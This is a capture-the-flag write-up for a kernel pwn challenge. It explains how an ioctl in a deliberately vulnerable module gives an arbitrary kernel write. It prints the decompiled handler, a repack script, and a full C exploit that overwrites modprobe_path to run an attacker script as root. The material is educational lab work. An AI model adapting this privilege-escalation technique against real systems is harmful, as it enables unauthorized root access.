swiss hacking challenge 2024 - a-smap-in-the-face
Difficulty: medium
Category: pwn
Author: kiwi
Sarah from business communication told Peter from accounting about our team retreat to Brussels and now it has been CANCELED! :( We worked so hard on that, it feels like a smap in the face. Florah told me (the one who always says she wants to work out but never does and honestly everybody has given up on that idea ever happening), that Peter might have some dirt on him and if we find out we might get our trip after all. I really wanna see the statue of the peeing boy everyone is raving about, not sure what’s up with that but it must be good if people like it right? I’m not that shallow am I? Anyways IT has installed new security pipelines that apparently are extra secure, as our trip was supposed to be bugeted. Did you know they got 3 extra headcount while we had to pleeead to get an extra engineer just because Nico from network engineering brings his kids to the same daycare as Robert our head of business development so they “network” (I’m pretty sure Robert has an affair with Jessica from marketing, I always see them get flustered when they walk by). Ooooops I got sidetracked, I need to to track my worktime this week in our Jira board so can you please have a look on Peter’s computer?
Files
We get the files that run a qemu server on the remote:
a-smap-in-the-face
├── boot.sh
├── bzImage
├── Dockerfile
├── initramfs.cpio
├── pipeline.ko
└── run_qemu.sh
Exploitation
The pipeline.ko
exposes us with an ioctl interface. The 0x30
ioctl call allows for a full arbitrary write within kernel space:
int64_t pipeline_ioctl(int64_t user_destination_pointer, int64_t command, int64_t temp_buffer)
if (command.d == 0x10)
return pipeline_ioctl.cold() __tailcall
int64_t user_buffer
int64_t copy_to
int64_t n
if (command.d == 0x20)
if (_copy_from_user(&user_buffer, temp_buffer, 0x18) == 0)
int64_t bytes_copied_successfully
int64_t source_buffer_address
bytes_copied_successfully, source_buffer_address = _copy_to_user(copy_to, user_buffer, n)
if (bytes_copied_successfully == 0)
return ret(source_buffer_address) __tailcall
else
if (command.d != 0x30)
if (command.d == 0x40)
boot()
return 0
if (command.d == 0x1337)
return secret(destination_address: user_destination_pointer, command) __tailcall
return ret(user_destination_pointer) __tailcall
if (_copy_from_user(&user_buffer, temp_buffer, 0x18) == 0)
int64_t bytes_copied_successfully_second
int64_t destination_buffer_address.
bytes_copied_successfully_second, destination_buffer_address. = _copy_from_user(user_buffer, copy_to, n)
if (bytes_copied_successfully_second == 0)
return ret(destination_buffer_address.) __tailcall
return -0xe
We’re running an old kernel (4.19.76) so I used the modprobe_path
technique from the kernelpwn repo. Basically, Linux runs a usermode helper to run modprobe for unknown filetypes. In older kernel versions, this could be overwritten.
As ASLR is disabled, we can just search for /sbin/modprobe
in a gdb session attached to qemu: 0xffff888002242260
.
While developing the exploit, I used the following ugly script to repack the initramfs with my exploit:
#!/bin/bash
gcc exp.c -static
cp a.out fs/a.out
cd fs
find . | cpio -o --format=newc > ../initramfs.cpio
cd ..
. run_qemu.sh
This lead to the following final exploit:
#include <fcntl.h>
#include <stdbool.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <pthread.h>
int main(void)
{
system("sh -c \"echo -ne '\\x00\\x00\\x00\\x00' > /tmp/blob\"");
system("sh -c \"echo '#!/bin/sh\nchmod 777 /flag' > /tmp/exe\"");
system("chmod +x /tmp/exe /tmp/blob");
int fd = open("/dev/pipeline", O_RDWR);
void *arbitraryWrite[] = {
(void *)0x0, // destination
(void *)0x0, // source
(void *)30, // length
};
char *buf = malloc(0x10);
memcpy(buf, "/tmp/exe", 10);
arbitraryWrite[0] = (void *)0xffff888002242260; // /sbin/modprobe
arbitraryWrite[1] = buf;
ioctl(fd, 0x30, &arbitraryWrite);
close(fd);
system("/tmp/blob");
system("cat /flag");
return EXIT_SUCCESS;
}
To reduce filesize (as we can’t just scp the file over to the instance), I used musl-gcc -static
for compilng the final exploit.
All that was left was to run cat a.out | base64
and copy it over to the system:
$ cd /tmp
$ cat << EOF > exp.enc
<long base64 here>
EOF
$ cat exp.enc | base64 -d > exp
$ chmod +x exp
$ ./exp
Flag
Conclusion
Great introduction to kernel exploitation. The setup and writing exploits in c takes some getting used to though.